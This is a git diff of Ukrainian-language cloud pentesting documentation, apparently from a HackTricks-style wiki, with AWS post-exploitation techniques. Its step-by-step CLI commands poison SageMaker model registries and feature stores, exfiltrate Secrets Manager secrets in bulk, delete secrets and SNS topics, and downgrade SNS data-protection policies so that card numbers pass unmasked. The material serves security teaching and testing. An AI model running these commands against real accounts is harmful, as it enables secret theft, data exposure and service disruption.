Package Group +```bash +REGION=${REGION:-us-east-1} +MPG=victim-group-$(date +%s) +aws sagemaker create-model-package-group --region $REGION --model-package-group-name $MPG --model-package-group-description "test group" +``` +2) Підготуйте тестові дані моделі в S3 +```bash +ACC=$(aws sts get-caller-identity --query Account --output text) +BUCKET=ht-sm-mpkg-$ACC-$(date +%s) +aws s3 mb s3://$BUCKET --region $REGION +head -c 1024 /tmp/model.tar.gz +aws s3 cp /tmp/model.tar.gz s3://$BUCKET/model/model.tar.gz --region $REGION +``` +3) Зареєструйте зловмисну (тут безпечну) Approved model package version, яка посилається на публічний AWS DLC image +```bash +IMG="683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3" +cat > /tmp/inf.json << JSON +{ +"Containers": [ +{ +"Image": "$IMG", +"ModelDataUrl": "s3://$BUCKET/model/model.tar.gz" +} +], +"SupportedContentTypes": ["text/csv"], +"SupportedResponseMIMETypes": ["text/csv"] +} +JSON +aws sagemaker create-model-package --region $REGION --model-package-group-name $MPG --model-approval-status Approved --inference-specification file:///tmp/inf.json +``` +4) Перевірте, що нова версія Approved існує +```bash +aws sagemaker list-model-packages --region $REGION --model-package-group-name $MPG --output table +``` +### Вплив +- Poison the Model Registry with an Approved version that references attacker-controlled code. Pipelines that auto-deploy Approved models may pull and run the attacker image, yielding code execution under endpoint/training roles. +- With a permissive ModelPackageGroup resource policy (PutModelPackageGroupPolicy), this abuse can be triggered cross-account. + +## Feature store poisoning + +Abuse `sagemaker:PutRecord` on a Feature Group with OnlineStore enabled to overwrite live feature values consumed by online inference. Combined with `sagemaker:GetRecord`, an attacker can read sensitive features. This does not require access to models or endpoints. + +{{#ref}} +feature-store-poisoning.md +{{/ref}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md new file mode 100644 index 000000000..bd4b2b1ec --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md @@ -0,0 +1,50 @@ +# SageMaker Feature Store online store poisoning + +Зловживання `sagemaker:PutRecord` на Feature Group з увімкненим OnlineStore, щоб перезаписати живі значення ознак, які споживаються для online inference. У поєднанні з `sagemaker:GetRecord` зловмисник може прочитати чутливі ознаки. Для цього не потрібен доступ до models або endpoints. + +## Вимоги +- Дозволи: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord` +- Ціль: Feature Group з увімкненим OnlineStore (зазвичай підтримує інференс у реальному часі) + +## Кроки +1) Виберіть або створіть невелику Online Feature Group для тестування +```bash +REGION=${REGION:-us-east-1} +FG=$(aws sagemaker list-feature-groups --region $REGION --query "FeatureGroupSummaries[?OnlineStoreConfig!=null]|[0].FeatureGroupName" --output text) +if [ -z "$FG" -o "$FG" = "None" ]; then +ACC=$(aws sts get-caller-identity --query Account --output text) +FG=ht-fg-$ACC-$(date +%s) +ROLE_ARN=$(aws iam get-role --role-name AmazonSageMaker-ExecutionRole --query Role.Arn --output text 2>/dev/null || echo arn:aws:iam::$ACC:role/service-role/AmazonSageMaker-ExecutionRole) +aws sagemaker create-feature-group --region $REGION --feature-group-name "$FG" --record-identifier-feature-name entity_id --event-time-feature-name event_time --feature-definitions "[{\"FeatureName\":\"entity_id\",\"FeatureType\":\"String\"},{\"FeatureName\":\"event_time\",\"FeatureType\":\"String\"},{\"FeatureName\":\"risk_score\",\"FeatureType\":\"Fractional\"}]" --online-store-config "{\"EnableOnlineStore\":true}" --role-arn "$ROLE_ARN" +echo "Waiting for feature group to be in Created state..." +for i in $(seq 1 40); do +ST=$(aws sagemaker describe-feature-group --region $REGION --feature-group-name "$FG" --query FeatureGroupStatus --output text || true) +echo $ST; [ "$ST" = "Created" ] && break; sleep 15 +done +fi +``` +2) Вставити/перезаписати онлайн-запис (poison) +```bash +NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ) +cat > /tmp/put.json << JSON +{ +"FeatureGroupName": "$FG", +"Record": [ +{"FeatureName": "entity_id", "ValueAsString": "user-123"}, +{"FeatureName": "event_time", "ValueAsString": "$NOW"}, +{"FeatureName": "risk_score", "ValueAsString": "0.99"} +], +"TargetStores": ["OnlineStore"] +} +JSON +aws sagemaker-featurestore-runtime put-record --region $REGION --cli-input-json file:///tmp/put.json +``` +3) Прочитайте запис, щоб підтвердити проведену маніпуляцію. +```bash +aws sagemaker-featurestore-runtime get-record --region $REGION --feature-group-name "$FG" --record-identifier-value-as-string user-123 --feature-name risk_score --query "Record[0].ValueAsString" +``` +Очікувано: risk_score повертає 0.99 (attacker-set), що підтверджує можливість змінювати online features, які споживаються models. + +## Вплив +- Real-time integrity attack: маніпулювати features, що використовуються production models, не торкаючись endpoints/models. +- Ризик конфіденційності: читати чутливі features за допомогою GetRecord з OnlineStore. diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md deleted file mode 100644 index 3ed456f9f..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md +++ /dev/null @@ -1,130 +0,0 @@ -# AWS - Secrets Manager Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## Secrets Manager - -Для отримання додаткової інформації див.: - -{{#ref}} -../aws-services/aws-secrets-manager-enum.md -{{#endref}} - -### Читання секретів - -Самі **секрети є чутливою інформацією**, [див. privesc сторінку](../aws-privilege-escalation/aws-secrets-manager-privesc.md), щоб дізнатися, як їх читати. - -### DoS — зміна значення секрету - -Змінивши значення секрету, ви можете **спровокувати DoS у всіх систем, що залежать від цього значення.** - -> [!WARNING] -> Зауважте, що попередні значення також зберігаються, тому легко повернутися до попереднього значення. -```bash -# Requires permission secretsmanager:PutSecretValue -aws secretsmanager put-secret-value \ ---secret-id MyTestSecret \ ---secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}" -``` -### DoS Зміна KMS key - -Якщо зловмисник має дозвіл secretsmanager:UpdateSecret, він може налаштувати секрет так, щоб використовувався KMS key, який належить зловмиснику. Цей ключ спочатку налаштований так, що будь-хто може отримати до нього доступ і використовувати його, тому оновлення секрету з новим ключем можливе. Якби ключ був недоступний, секрет оновити було б неможливо. - -Після зміни ключа для секрету зловмисник змінює конфігурацію свого ключа так, щоб доступ до нього мав лише він. Таким чином у наступних версіях секрету він буде зашифрований новим ключем, і оскільки доступу до нього не буде, можливість отримати секрет буде втрачено. - -Важливо зазначити, що ця недоступність виникне лише в пізніших версіях, після зміни вмісту секрету, оскільки поточна версія все ще зашифрована оригінальним KMS key. -```bash -aws secretsmanager update-secret \ ---secret-id MyTestSecret \ ---kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE -``` -### DoS Deleting Secret - -Мінімальна кількість днів для видалення Secret — 7 -```bash -aws secretsmanager delete-secret \ ---secret-id MyTestSecret \ ---recovery-window-in-days 7 -``` -## secretsmanager:RestoreSecret - -Можна відновити секрет, що дозволяє відновлювати секрети, заплановані до видалення, оскільки мінімальний період видалення для секретів становить 7 днів, а максимальний — 30 днів. У поєднанні з дозволом secretsmanager:GetSecretValue це дає змогу отримати їхній вміст. - -Щоб відновити секрет, що перебуває в процесі видалення, можна використати наступну команду: -```bash -aws secretsmanager restore-secret \ ---secret-id -``` -## secretsmanager:DeleteResourcePolicy - -Ця дія дозволяє видалити resource policy, який контролює, хто може отримати доступ до секрету. Це може призвести до DoS, якщо resource policy був налаштований так, щоб дозволяти доступ певному набору користувачів. - -Щоб видалити resource policy: -```bash -aws secretsmanager delete-resource-policy \ ---secret-id -``` -## secretsmanager:UpdateSecretVersionStage - -Стани секрету використовуються для керування версіями секрету. AWSCURRENT позначає активну версію, яку використовують додатки, AWSPREVIOUS зберігає попередню версію, щоб у разі потреби можна було відкотитися, а AWSPENDING використовується в процесі ротації для підготовки та перевірки нової версії перед тим, як зробити її поточною. - -Додатки завжди читають версію з AWSCURRENT. Якщо хтось перемістить цей ярлик на неправильну версію, додатки використовуватимуть недійсні облікові дані і можуть зазнати збою. - -AWSPREVIOUS не використовується автоматично. Однак якщо AWSCURRENT буде видалено або переназначено неправильно, може створитися враження, що все досі працює з попередньою версією. -```bash -aws secretsmanager update-secret-version-stage \ ---secret-id \ ---version-stage AWSCURRENT \ ---move-to-version-id \ ---remove-from-version-id -``` -{{#include ../../../banners/hacktricks-training.md}} - - - - - -### Mass Secret Exfiltration via BatchGetSecretValue (up to 20 per call) - -Зловживайте Secrets Manager BatchGetSecretValue API, щоб отримати до 20 секретів в одному запиті. Це може значно зменшити обсяг викликів API в порівнянні з ітерацією GetSecretValue по кожному секрету. Якщо використовуються фільтри (tags/name), також потрібен дозвіл ListSecrets. CloudTrail все одно записує один GetSecretValue подію для кожного секрету, отриманого в батчі. - -Required permissions -- secretsmanager:BatchGetSecretValue -- secretsmanager:GetSecretValue для кожного цільового секрету -- secretsmanager:ListSecrets якщо використовуються --filters -- kms:Decrypt на CMKs, які використовуються секретами (якщо не використовується aws/secretsmanager) - -> [!WARNING] -> Зауважте, що дозвіл `secretsmanager:BatchGetSecretValue` сам по собі недостатній для отримання секретів — вам також потрібен `secretsmanager:GetSecretValue` для кожного секрету, який ви хочете отримати. - -Exfiltrate by explicit list -```bash -aws secretsmanager batch-get-secret-value \ ---secret-id-list \ ---query 'SecretValues[].{Name:Name,Version:VersionId,Val:SecretString}' -``` -Експфільтрація за фільтрами (ключ/значення тегу або префікс імені) -```bash -# By tag key -aws secretsmanager batch-get-secret-value \ ---filters Key=tag-key,Values=env \ ---max-results 20 \ ---query 'SecretValues[].{Name:Name,Val:SecretString}' - -# By tag value -aws secretsmanager batch-get-secret-value \ ---filters Key=tag-value,Values=prod \ ---max-results 20 - -# By name prefix -aws secretsmanager batch-get-secret-value \ ---filters Key=name,Values=MyApp -``` -Обробка часткових збоїв -```bash -# Inspect the Errors list for AccessDenied/NotFound and retry/adjust filters -aws secretsmanager batch-get-secret-value --secret-id-list -``` -Наслідки -- Швидке «smash-and-grab» багатьох секретів з меншою кількістю API викликів, що потенційно дозволяє обійти сповіщення, налаштовані на піки GetSecretValue. -- Журнали CloudTrail все ще містять по одному запису GetSecretValue на кожен секрет, отриманий у пакеті. diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation/README.md new file mode 100644 index 000000000..e5611726a --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation/README.md @@ -0,0 +1,126 @@ +# AWS - Secrets Manager Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## Secrets Manager + +Для додаткової інформації див.: + +{{#ref}} +../../aws-services/aws-secrets-manager-enum.md +{{#endref}} + +### Read Secrets + +The **secrets themselves are sensitive information**, [перегляньте сторінку privesc](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) щоб дізнатися, як їх читати. + +### DoS Change Secret Value + +Змінивши значення secret, ви можете **DoS всі системи, які залежать від цього значення.** + +> [!WARNING] +> Зауважте, що попередні значення також зберігаються, тому легко просто повернутися до попереднього значення. +```bash +# Requires permission secretsmanager:PutSecretValue +aws secretsmanager put-secret-value \ +--secret-id MyTestSecret \ +--secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}" +``` +### DoS Change KMS key + +Якщо у зловмисника є дозвіл secretsmanager:UpdateSecret, він може налаштувати secret так, щоб використовувався KMS key, що належить зловмиснику. Цей ключ спочатку налаштований таким чином, що будь-хто може отримати до нього доступ і використовувати його, тому оновлення secret з новим ключем можливе. Якби ключ був недоступний, secret не можна було б оновити. + +Після зміни ключа для secret зловмисник модифікує конфігурацію свого ключа так, щоб доступ мав лише він. Таким чином у наступних версіях secret він буде зашифрований новим ключем, і оскільки доступу до нього не буде, можливість отримати secret буде втрачено. + +Важливо зазначити, що ця недоступність виникне лише в пізніших версіях, після зміни вмісту secret, оскільки поточна версія усе ще зашифрована оригінальним KMS key. +```bash +aws secretsmanager update-secret \ +--secret-id MyTestSecret \ +--kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE +``` +### DoS Deleting Secret + +Мінімальна кількість днів для видалення секрету — 7 +```bash +aws secretsmanager delete-secret \ +--secret-id MyTestSecret \ +--recovery-window-in-days 7 +``` +## secretsmanager:RestoreSecret + +Можна відновити секрет, що дозволяє відновлювати секрети, які були заплановані на видалення, оскільки мінімальний період видалення секретів становить 7 днів, а максимальний — 30 днів. Разом із дозволом secretsmanager:GetSecretValue це дає змогу отримати їхній вміст. + +Щоб відновити секрет, який перебуває у процесі видалення, ви можете використати таку команду: +```bash +aws secretsmanager restore-secret \ +--secret-id +``` +## secretsmanager:DeleteResourcePolicy + +Ця дія дозволяє видаляти політику ресурсу, яка контролює, хто може отримати доступ до секрету. Це може призвести до DoS, якщо політика ресурсу була налаштована так, щоб дозволяти доступ конкретному набору користувачів. + +Щоб видалити політику ресурсу: +```bash +aws secretsmanager delete-resource-policy \ +--secret-id +``` +## secretsmanager:UpdateSecretVersionStage + +Стан секрету використовується для керування версіями секрету. AWSCURRENT позначає активну версію, яку використовують додатки; AWSPREVIOUS зберігає попередню версію, щоб у разі потреби можна було відкотитися; а AWSPENDING використовується в процесі ротації для підготовки та перевірки нової версії перед тим, як зробити її поточною. + +Додатки завжди читають версію з AWSCURRENT. Якщо хтось перемістить цей маркер на неправильну версію, додатки використовуватимуть недійсні облікові дані і можуть не працювати. + +AWSPREVIOUS не використовується автоматично. Однак якщо AWSCURRENT буде видалено або неправильно переназначено, може скластися враження, що все досі працює з попередньою версією. +```bash +aws secretsmanager update-secret-version-stage \ +--secret-id \ +--version-stage AWSCURRENT \ +--move-to-version-id \ +--remove-from-version-id +``` +{{#include ../../../../banners/hacktricks-training.md}} + +### Mass Secret Exfiltration via BatchGetSecretValue (up to 20 per call) + +Зловживайте API Secrets Manager BatchGetSecretValue, щоб отримати до 20 секретів в одному запиті. Це може значно зменшити обсяг викликів API порівняно з ітерацією GetSecretValue для кожного секрету. Якщо використовуються фільтри (tags/name), потрібен також дозвіл ListSecrets. CloudTrail все ще фіксує по одному GetSecretValue подію для кожного секрету, отриманого в батчі. + +Required permissions +- secretsmanager:BatchGetSecretValue +- secretsmanager:GetSecretValue for each target secret +- secretsmanager:ListSecrets if using --filters +- kms:Decrypt on the CMKs used by the secrets (if not using aws/secretsmanager) + +> [!WARNING] +> Зауважте, що дозвіл `secretsmanager:BatchGetSecretValue` сам по собі недостатній для отримання секретів — вам також потрібен `secretsmanager:GetSecretValue` для кожного секрету, який ви хочете отримати. + +Exfiltrate by explicit list +```bash +aws secretsmanager batch-get-secret-value \ +--secret-id-list \ +--query 'SecretValues[].{Name:Name,Version:VersionId,Val:SecretString}' +``` +Exfiltrate за фільтрами (ключ/значення тегу або префікс імені) +```bash +# By tag key +aws secretsmanager batch-get-secret-value \ +--filters Key=tag-key,Values=env \ +--max-results 20 \ +--query 'SecretValues[].{Name:Name,Val:SecretString}' + +# By tag value +aws secretsmanager batch-get-secret-value \ +--filters Key=tag-value,Values=prod \ +--max-results 20 + +# By name prefix +aws secretsmanager batch-get-secret-value \ +--filters Key=name,Values=MyApp +``` +Обробка часткових збоїв +```bash +# Inspect the Errors list for AccessDenied/NotFound and retry/adjust filters +aws secretsmanager batch-get-secret-value --secret-id-list +``` +Вплив +- Швидкий “smash-and-grab” багатьох секретів з меншою кількістю API-запитів, потенційно обходячи оповіщення, налаштовані на сплески GetSecretValue. +- Журнали CloudTrail все ще містять по одній GetSecretValue-події на кожен секрет, отриманий у пакеті. diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation/README.md similarity index 60% rename from src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md rename to src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation/README.md index eb6b57095..d0e4d7e61 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation/README.md @@ -1,13 +1,13 @@ -# AWS - SES Постексплуатація +# AWS - SES Post Exploitation -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## SES -Для отримання додаткової інформації перегляньте: +Для отримання додаткової інформації див.: {{#ref}} -../aws-services/aws-ses-enum.md +../../aws-services/aws-ses-enum.md {{#endref}} ### `ses:SendEmail` @@ -25,39 +25,45 @@ aws sesv2 send-email --from sender@example.com --destination file://emails.json ```bash aws ses send-raw-email --raw-message file://message.json ``` +Ще потрібно протестувати. + ### `ses:SendTemplatedEmail` Надіслати електронний лист на основі шаблону. ```bash aws ses send-templated-email --source --destination --template ``` +Ще потрібно протестувати. + ### `ses:SendBulkTemplatedEmail` -Надіслати електронний лист на кілька адрес +Надіслати електронний лист кільком адресатам ```bash aws ses send-bulk-templated-email --source --template ``` -Ще потрібно протестувати. +Ще не протестовано. ### `ses:SendBulkEmail` -Надіслати електронний лист на кілька адрес. +Відправити електронний лист кільком адресатам. ``` aws sesv2 send-bulk-email --default-content --bulk-email-entries ``` ### `ses:SendBounce` -Відправити **повернуте повідомлення** на отримане електронне повідомлення (вказуючи, що електронне повідомлення не може бути отримано). Це можна зробити **протягом 24 годин після отримання** електронного повідомлення. +Надіслати **повідомлення про недоставку (bounce email)** щодо отриманого листа (вказуючи, що лист не був доставлений). Це можна зробити лише **протягом 24 годин після отримання** листа. ```bash aws ses send-bounce --original-message-id --bounce-sender --bounced-recipient-info-list ``` +Ще потрібно протестувати. + ### `ses:SendCustomVerificationEmail` -Це надішле налаштований лист для підтвердження. Вам можуть знадобитися дозволи також для створення шаблону листа. +Це надішле налаштований лист підтвердження. Також може знадобитися дозвіл для створення шаблону листа. ```bash aws ses send-custom-verification-email --email-address --template-name aws sesv2 send-custom-verification-email --email-address --template-name ``` Ще потрібно протестувати. -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md deleted file mode 100644 index 9308e2084..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md +++ /dev/null @@ -1,68 +0,0 @@ -# AWS - SNS Постексплуатація - -{{#include ../../../banners/hacktricks-training.md}} - -## SNS - -Для отримання додаткової інформації: - -{{#ref}} -../aws-services/aws-sns-enum.md -{{#endref}} - -### Порушити Повідомлення - -У кількох випадках теми SNS використовуються для надсилання повідомлень на платформи, які моніторяться (електронні листи, повідомлення в slack...). Якщо зловмисник запобігає надсиланню повідомлень, які сповіщають про його присутність у хмарі, він може залишитися непоміченим. - -### `sns:DeleteTopic` - -Зловмисник може видалити цілу тему SNS, що призведе до втрати повідомлень і вплине на програми, які покладаються на цю тему. -```bash -aws sns delete-topic --topic-arn -``` -**Потенційний вплив**: Втрата повідомлень та порушення роботи для додатків, що використовують видалену тему. - -### `sns:Publish` - -Зловмисник може надіслати шкідливі або небажані повідомлення до теми SNS, що може призвести до пошкодження даних, викликати ненавмисні дії або виснажити ресурси. -```bash -aws sns publish --topic-arn --message -``` -**Потенційний вплив**: Пошкодження даних, ненавмисні дії або виснаження ресурсів. - -### `sns:SetTopicAttributes` - -Зловмисник може змінити атрибути теми SNS, що потенційно вплине на її продуктивність, безпеку або доступність. -```bash -aws sns set-topic-attributes --topic-arn --attribute-name --attribute-value -``` -**Потенційний вплив**: Неправильні налаштування, що призводять до зниження продуктивності, проблем з безпекою або зменшення доступності. - -### `sns:Subscribe` , `sns:Unsubscribe` - -Зловмисник може підписатися або відписатися від теми SNS, потенційно отримуючи несанкціонований доступ до повідомлень або порушуючи нормальне функціонування додатків, що покладаються на цю тему. -```bash -aws sns subscribe --topic-arn --protocol --endpoint -aws sns unsubscribe --subscription-arn -``` -**Потенційний вплив**: Неавторизований доступ до повідомлень, порушення роботи для додатків, що залежать від ураженої теми. - -### `sns:AddPermission` , `sns:RemovePermission` - -Зловмисник може надати неавторизованим користувачам або сервісам доступ до теми SNS або відкликати дозволи для законних користувачів, що призведе до порушень у нормальному функціонуванні додатків, які залежать від теми. -```css -aws sns add-permission --topic-arn --label --aws-account-id --action-name -aws sns remove-permission --topic-arn --label -``` -**Потенційний вплив**: Несанкціонований доступ до теми, витік повідомлень або маніпуляція темою з боку несанкціонованих користувачів або сервісів, порушення нормального функціонування для додатків, що покладаються на тему. - -### `sns:TagResource` , `sns:UntagResource` - -Зловмисник може додавати, змінювати або видаляти теги з ресурсів SNS, порушуючи політики розподілу витрат, відстеження ресурсів та контролю доступу вашої організації на основі тегів. -```bash -aws sns tag-resource --resource-arn --tags Key=,Value= -aws sns untag-resource --resource-arn --tag-keys -``` -**Потенційний вплив**: Порушення розподілу витрат, відстеження ресурсів та політик контролю доступу на основі тегів. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/README.md new file mode 100644 index 000000000..35d2c0eb9 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/README.md @@ -0,0 +1,82 @@ +# AWS - SNS Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## SNS + +Для додаткової інформації: + +{{#ref}} +../../aws-services/aws-sns-enum.md +{{#endref}} + +### Перешкоджання повідомленням + +У деяких випадках SNS topics використовуються для відправлення повідомлень на платформи, які моніторяться (електронні листи, slack messages...). Якщо нападник перешкодить надсиланню повідомлень, що сповіщають про його присутність у хмарі, він може залишитися непоміченим. + +### `sns:DeleteTopic` + +Атакувальник може видалити цілий SNS topic, що призведе до втрати повідомлень і вплине на додатки, які залежать від цієї теми. +```bash +aws sns delete-topic --topic-arn +``` +**Potential Impact**: Втрати повідомлень та порушення роботи сервісу для застосунків, що використовують видалену тему. + +### `sns:Publish` + +Зловмисник міг би надсилати шкідливі або небажані повідомлення у SNS topic, що може спричинити пошкодження даних, ініціювання небажаних дій або виснаження ресурсів. +```bash +aws sns publish --topic-arn --message +``` +**Потенційний вплив**: Пошкодження даних, небажані дії або виснаження ресурсів. + +### `sns:SetTopicAttributes` + +attacker може змінити атрибути SNS topic, що потенційно вплине на його продуктивність, безпеку або доступність. +```bash +aws sns set-topic-attributes --topic-arn --attribute-name --attribute-value +``` +**Potential Impact**: Неправильні конфігурації, що призводять до зниження продуктивності, проблем із безпекою або зменшення доступності. + +### `sns:Subscribe` , `sns:Unsubscribe` + +Зловмисник може підписатися або відписатися від SNS topic, потенційно отримавши несанкціонований доступ до повідомлень або порушивши нормальну роботу додатків, що покладаються на цей SNS topic. +```bash +aws sns subscribe --topic-arn --protocol --endpoint +aws sns unsubscribe --subscription-arn +``` +**Potential Impact**: Несанкціонований доступ до повідомлень та збої в роботі додатків, які залежать від ураженої теми. + +### `sns:AddPermission` , `sns:RemovePermission` + +Зловмисник може надати неавторизованим користувачам або сервісам доступ до SNS-теми або відкликати дозволи у легітимних користувачів, що спричинить порушення нормального функціонування додатків, які покладаються на цю тему. +```bash +aws sns add-permission --topic-arn --label --aws-account-id --action-name +aws sns remove-permission --topic-arn --label +``` +**Potential Impact**: Несанкціонований доступ до теми, розкриття повідомлень або маніпуляції з темою з боку неавторизованих користувачів або сервісів, порушення нормальної роботи додатків, які покладаються на цю тему. + +### `sns:TagResource` , `sns:UntagResource` + +Зловмисник може додавати, змінювати або видаляти теги в ресурсах SNS, що порушить розподіл витрат у вашій організації, відстеження ресурсів та політики контролю доступу на основі тегів. +```bash +aws sns tag-resource --resource-arn --tags Key=,Value= +aws sns untag-resource --resource-arn --tag-keys +``` +**Потенційний вплив**: Порушення розподілу витрат, відстеження ресурсів та політик контролю доступу на основі тегів. + +### Додаткові SNS Post-Exploitation Techniques + +{{#ref}} +aws-sns-data-protection-bypass.md +{{#endref}} + +{{#ref}} +aws-sns-fifo-replay-exfil.md +{{#endref}} + +{{#ref}} +aws-sns-firehose-exfil.md +{{#endref}} + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-data-protection-bypass.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-data-protection-bypass.md new file mode 100644 index 000000000..53e55aa3a --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-data-protection-bypass.md @@ -0,0 +1,92 @@ +# AWS - SNS Message Data Protection Bypass via Policy Downgrade + +{{#include ../../../../banners/hacktricks-training.md}} + +Якщо у вас є `sns:PutDataProtectionPolicy` на темі, ви можете переключити її Message Data Protection policy з Deidentify/Deny на Audit-only (або видалити Outbound controls), тож чутливі значення (наприклад, номери кредитних карт) будуть доставлені без змін до вашої підписки. + +## Вимоги +- Права на цільову тему для виклику `sns:PutDataProtectionPolicy` (і зазвичай `sns:Subscribe`, якщо ви хочете отримувати дані). +- Стандартна тема SNS (Message Data Protection підтримується). + +## Кроки атаки + +- Змінні + +```bash +REGION=us-east-1 +``` + +1) Create a standard topic and an attacker SQS queue, and allow only this topic to send to the queue + +```bash +TOPIC_ARN=$(aws sns create-topic --name ht-dlp-bypass-$(date +%s) --region $REGION --query TopicArn --output text) +Q_URL=$(aws sqs create-queue --queue-name ht-dlp-exfil-$(date +%s) --region $REGION --query QueueUrl --output text) +Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text) + +aws sqs set-queue-attributes --queue-url "$Q_URL" --region $REGION --attributes Policy=Version:2012-10-17 +``` + +2) Attach a data protection policy that masks credit card numbers on outbound messages + +```bash +cat > /tmp/ht-dlp-policy.json <<'JSON' +{ +"Name": "__ht_dlp_policy", +"Version": "2021-06-01", +"Statement": [{ +"Sid": "MaskCCOutbound", +"Principal": ["*"], +"DataDirection": "Outbound", +"DataIdentifier": ["arn:aws:dataprotection::aws:data-identifier/CreditCardNumber"], +"Operation": { "Deidentify": { "MaskConfig": { "MaskWithCharacter": "#" } } } +}] +} +JSON +aws sns put-data-protection-policy --region $REGION --resource-arn "$TOPIC_ARN" --data-protection-policy "$(cat /tmp/ht-dlp-policy.json)" +``` + +3) Subscribe attacker queue and publish a message with a test CC number, verify masking + +```bash +SUB_ARN=$(aws sns subscribe --region $REGION --topic-arn "$TOPIC_ARN" --protocol sqs --notification-endpoint "$Q_ARN" --query SubscriptionArn --output text) +aws sns publish --region $REGION --topic-arn "$TOPIC_ARN" --message payment:{cc:4539894458086459} +aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 15 --message-attribute-names All --attribute-names All +``` + +Очікуваний фрагмент показує маскування (хеші): +```json +"Message" : "payment:{cc:################}" +``` +4) Знизьте рівень політики до Audit-only (без deidentify/deny заяв, що впливають на Outbound) + +Для SNS, Audit-заяви мають бути Inbound. Замінюючи політику на Audit-only Inbound-заяву, ви усуваєте будь-яку Outbound de-identification, тож повідомлення надходять до підписників без змін. +```bash +cat > /tmp/ht-dlp-audit-only.json <<'JSON' +{ +"Name": "__ht_dlp_policy", +"Version": "2021-06-01", +"Statement": [{ +"Sid": "AuditInbound", +"Principal": ["*"], +"DataDirection": "Inbound", +"DataIdentifier": ["arn:aws:dataprotection::aws:data-identifier/CreditCardNumber"], +"Operation": { "Audit": { "SampleRate": 99, "NoFindingsDestination": {} } } +}] +} +JSON +aws sns put-data-protection-policy --region $REGION --resource-arn "$TOPIC_ARN" --data-protection-policy "$(cat /tmp/ht-dlp-audit-only.json)" +``` + +5) Опублікуйте те саме повідомлення і перевірте, що немасковане значення доставлено +```bash +aws sns publish --region $REGION --topic-arn "$TOPIC_ARN" --message payment:{cc:4539894458086459} +aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 15 --message-attribute-names All --attribute-names All +``` +Очікуваний уривок показує CC у відкритому тексті: +```text +4539894458086459 +``` +## Вплив +- Переключення topic з de-identification/deny на audit-only (або інше видалення Outbound controls) дозволяє PII/секретам проходити без змін до підписок, контрольованих нападником, що дає змогу ексфільтрації даних, які в іншому випадку були б замасковані або заблоковані. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-fifo-replay-exfil.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-fifo-replay-exfil.md new file mode 100644 index 000000000..48cd3b5e4 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-fifo-replay-exfil.md @@ -0,0 +1,100 @@ +# SNS FIFO Archive Replay Exfiltration via Attacker SQS FIFO Subscription + +{{#include ../../../../banners/hacktricks-training.md}} + +Зловживання архівацією повідомлень у Amazon SNS FIFO topic для replay та exfiltrate раніше опублікованих повідомлень до SQS FIFO черги, контрольованої атакуючим, 